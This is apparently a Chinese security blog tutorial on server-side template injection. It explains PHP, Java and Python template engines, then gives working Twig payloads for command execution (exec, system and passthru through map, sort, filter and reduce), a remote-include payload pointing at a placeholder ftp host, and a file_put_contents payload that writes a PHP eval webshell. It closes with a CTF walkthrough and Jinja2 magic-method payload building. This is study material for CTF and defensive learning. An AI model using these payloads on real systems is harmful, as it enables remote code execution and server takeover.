回归基础,再看SSTI
什么是SSTI
SSTI:开局一张图,姿势全靠y
SSTI,即服务器端模板注入(Server-Side Template Injection)
常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。
sql注入的成因是从用户获得一个输入后,经过后端脚本语言进行数据库查询,这时我们就可以构造输入语句来进行拼接,从而实现我们想要的sql语句
SSTI也是如此,不过SSTI是在服务端接收了输入后,将其作为web应用模板内容的一部分,在进行目标编译渲染的过程中,将恶意语句进行了拼接,因此可能造成敏感信息泄露、代码执行、getshell等问题
在这我会简单以几个常见模板引擎进行演示,有所遗漏错误,欢迎各位师傅们进行补充纠正
模板引擎
模板是一种提供给程序进行解析的一种语法,从初始数据到实际的视觉表达靠的就是这一项工作所实现的,且这种手段是同时存在于前后端的
常见的模板引擎有
1.php 常用的
Smarty
Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛
Twig
Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。
Blade
Blade 是 Laravel 提供的一个既简单又强大的模板引擎。
和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。
2.Java 常用的
JSP
这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典
FreeMarker
FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
Velocity
Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。
3.Python 常用的
Jinja2
flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎
django
django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了
tornado
tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发
形形色色的模板引擎为了达到渲染效果,总会对用户输入有所处理,这也就给攻击者提供了道路,尽管模板引擎也会相应提供沙箱机制进行保护,但是也存在沙箱逃逸技术可以进行绕过
攻击思路
找到模板是什么模板引擎,是哪个版本的,然后设法利用模板的内置方法,进行rce、getshell
PHP-Twig
Twig 被许多开源项目使用,比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM;许多框架也支持 Twig,比如 Slim、Yii、Laravel 和 Codeigniter 等等。
本地复现可以用composer搭建
- 在Twig引擎中,我们可以通过下面方法获得一些关于当前应用的信息(虽然经常会被ban就是…)
1 | {{_self}} #指向当前应用 |
1.x
在twig 1.x版本,存在三个全局变量
_self
:引用当前模板实例_context
:引用上下文_charset
:引用当前字符集
其相对应的代码如下
1 | protected $specialVars = [ |
在twig 1.x中,主要利用的是_self
变量,它会返回当前 \Twig\Template
实例,并提供了指向 Twig_Environment
的 env
属性,这样我们就可以继续调用 Twig_Environment
中的其他方法
payload
- setCache方法
1
{{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}}
通过调用setCache方法改变twig加载php的路径,在allow_url_include开启的条件下,我们就可以实现远程文件包含
- getFilter方法
在getFilter方法中存在call_user_func回调函数,通过传入参数我们可以借此调用任意函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17#getFilter
public function getFilter($name)
{
...
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}1
2{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
// Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)但以上漏洞都只存在于1.x,在后续版本中,_self只会返回当前实例名字符串
2.x&3.x
在这里我用twig3.x+php7.3.4作为示例
用PHP的API调用twig
- index.php
1 |
|
在twig2.x/3.x中,_self不再像1.x时那么有他独特的作用,但是也相应更新了一些特殊方法来供我们利用
map过滤器
map
这个
map
过滤器将箭头函数应用于序列或映射的元素。arrow函数接收序列或映射的值:
1
2
3
4
5
6
7 >{% set people = [
{first: "Bob", last: "Smith"},
{first: "Alice", last: "Dupond"},
>] %}
>{{ people|map(p => "#{p.first} #{p.last}")|join(', ') }}
>{# outputs Bob Smith, Alice Dupond #}arrow函数还接收密钥作为第二个参数:
1
2
3
4
5
6
7 >{% set people = {
"Bob": "Smith",
"Alice": "Dupond",
>} %}
>{{ people|map((last, first) => "#{first} #{last}")|join(', ') }}
>{# outputs Bob Smith, Alice Dupond #}注意arrow函数可以访问当前上下文。
可以看出允许用户传一个arrow 函数,arrow 函数最后会变成一个closure
- 举个例子
当我们传入
1 | {{["man"]|map((arg)=>"hello #{arg}")}} |
在模板中会被编译为
1 | twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null)) |
map所对应的函数如下
1 | function twig_array_map($array $arrow) |
我们可以看到,传入的 $arrow
直接就被当成函数执行,即 $arrow($v, $k)
,而 $v
和 $k
分别是 $array
中的 value 和 key
所以$array
和$arrow
都是我们可控的,那我们就可以找到有两个参数的、可以实现命令执行的危险函数来进行rce
经过查询,有如下几种常见命令执行函数
1 | system ( string $command [, int &$return_var ] ) : string |
有两个参数的函数就上面三种,其对应payload
1 | {{["whoami"]|map("system")}} |
但是当上面的都被ban了呢,我们还有没有其他方法rce
当然,例如
1 | file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int |
当我们找到路径后就可以利用该函数进行写shell了
1 | ?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|map("file_put_contents")}} |
根据map过滤器的利用思路,我们可以再找到其他类似的,带有$arrow
参数的
sort过滤器
sort
这个
sort
筛选器对数组排序:
1
2
3 >{% for user in users|sort %}
...
>{% endfor %}注解
在内部,Twig使用PHP asort 函数来维护索引关联。它通过将可遍历对象转换为数组来支持这些对象。
您可以传递一个箭头函数来对数组进行排序:
1
2
3
4
5
6
7
8
9
10
11 >{% set fruits = [
{ name: 'Apples', quantity: 5 },
{ name: 'Oranges', quantity: 2 },
{ name: 'Grapes', quantity: 4 },
>] %}
>{% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}
{{ fruit }}
>{% endfor %}
>{# output in this order: Oranges, Grapes, Apples #}注意 spaceship 运算符来简化比较。
类似于map,sort在模板编译时也会进入twig_sort_filter
函数
1 | function twig_sort_filter($array, $arrow = null) |
1 | uasort ( array &$array , callable $value_compare_func ) : bool |
可以看到,$array
和$arrow
直接被uasort
调用
uasort会将数组中的元素按照键值进行排序,当我们自定义一个危险函数时,就可能造成rce
这样我们就可以构造payload了
1 | {{["id", 0]|sort("system")}} |
filter过滤器
filter
这个
filter
过滤器使用箭头函数过滤序列或映射的元素。arrow函数接收序列或映射的值:
1
2
3
4 >{% set sizes = [34, 36, 38, 40, 42] %}
>{{ sizes|filter(v => v > 38)|join(', ') }}
>{# output 40, 42 #}与
for
标记,它允许筛选要迭代的项:
1
2
3
4 >{% for v in sizes|filter(v => v > 38) -%}
{{ v }}
>{% endfor %}
>{# output 40 42 #}它也适用于映射:
1
2
3
4
5
6
7
8
9
10
11
12 >{% set sizes = {
xs: 34,
s: 36,
m: 38,
l: 40,
xl: 42,
>} %}
>{% for k, v in sizes|filter(v => v > 38) -%}
{{ k }} = {{ v }}
>{% endfor %}
>{# output l = 40 xl = 42 #}arrow函数还接收密钥作为第二个参数:
1
2
3
4 >{% for k, v in sizes|filter((v, k) => v > 38 and k != "xl") -%}
{{ k }} = {{ v }}
>{% endfor %}
>{# output l = 40 #}注意arrow函数可以访问当前上下文。
类似于map,filter在模板编译时也会进入twig_array_filter
函数
1 | function twig_array_filter($array, $arrow) |
1 | array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array |
可以看到和前面方法类似,我们实验一下
得到payload
1 | {{["id"]|filter("system")}} |
reduce 过滤器
reduce
这个
reduce
filter使用arrow函数迭代地将序列或映射缩减为单个值,从而将其缩减为单个值。arrow函数接收上一次迭代的返回值和序列或映射的当前值:
1
2
3
4 >{% set numbers = [1, 2, 3] %}
>{{ numbers|reduce((carry, v) => carry + v) }}
>{# output 6 #}这个
reduce
过滤器需要initial
值作为第二个参数:
1
2 >{{ numbers|reduce((carry, v) => carry + v, 10) }}
>{# output 16 #}注意arrow函数可以访问当前上下文。
直接来看函数
1 | function twig_array_reduce($array, $arrow, $initial = null) |
1 | array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed |
可以看到array_reduce
是有三个参数的
$array
和 $arrow
直接被 array_filter
函数调用,我们可以利用该性质自定义一个危险函数从而达到rce
刚开始还是像前面一样构造
1 | {{["id", 0]|reduce("passthru")}} |
但是发现没有执行成功,原因是第一次调用的是
1 | passthru($initial, "id") |
因为$initial
为null,所以会报错,我们想要对他进行赋值才行
payload
1 | {{[0, 0]|reduce("system", "id")}} |
题目
- [BJDCTF2020]Cookie is so stable
进入发现一个flag
按钮和一个hint
按钮点击hint发现源码有hint
返回访问flag.php
经过简单测试猜测为twig(传入49后Jinja2输出7777777
,Twig输出49
)
同时发现在cookie是我们的输入点,开始查看是什么版本的twig,用_self
来测试
1 | cookie |
twig1.x,我们直接cat /flag试试
1 | cookie |
基本思路还是测试出为哪个模板,哪个版本,测试payload即可
Python-Jinja2
基本语法
官方文档对于模板的语法介绍如下
{% ... %}
for Statements
{{ ... }}
for Expressions to print to the template output`` for Comments not included in the template output
{%%}
:主要用于声明变量,也可用于条件语句和循环语句
{{}}
:用于将表达式打印到模板进行输出,所以经常也利用这个进行简单测试是否存在SSTI,如在twig中{{7*7}}==>49
``:表示不在模板中输出的注释
常见魔法方法
__base__
以字符串的形式返回一个类所继承的类
定义两个类class1和class2,假设class2继承class1,打印class2的
__base__
,会发现返回的是他的父类class1
__class__
用于返回对象所属的类
__mro__
返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类- 和
__base__
一样都是拿来寻找基类的 __bases__
返回了test()的两个父类,__bases_
返回了test()的第一个父类,__mro__
按照子类到父类到父父类解析的顺序返回所有类
- 和
__subclasses__()
获取类的所有子类
__int__
所有自带带类都包含init方法,并且常用它当跳板调用globals__globals__
会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用
__builtin__
(pyhton2.x) &&__builtins__
(python3.x)builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块- 我们可以用
dir(__builtins__)
来运行一下
- 我们可以用
payload构造思路
- 找一个内置类并用
__class__
来获取内置类所对应的类 - 使用
__mro__[1]
或__base__
来获取他的基类 - 使用
__subclasses__()
获取子类列表 - 从子类中获取能够执行命令或者读写文件的类进而RCE
常用payload
1 | #获取基本类 |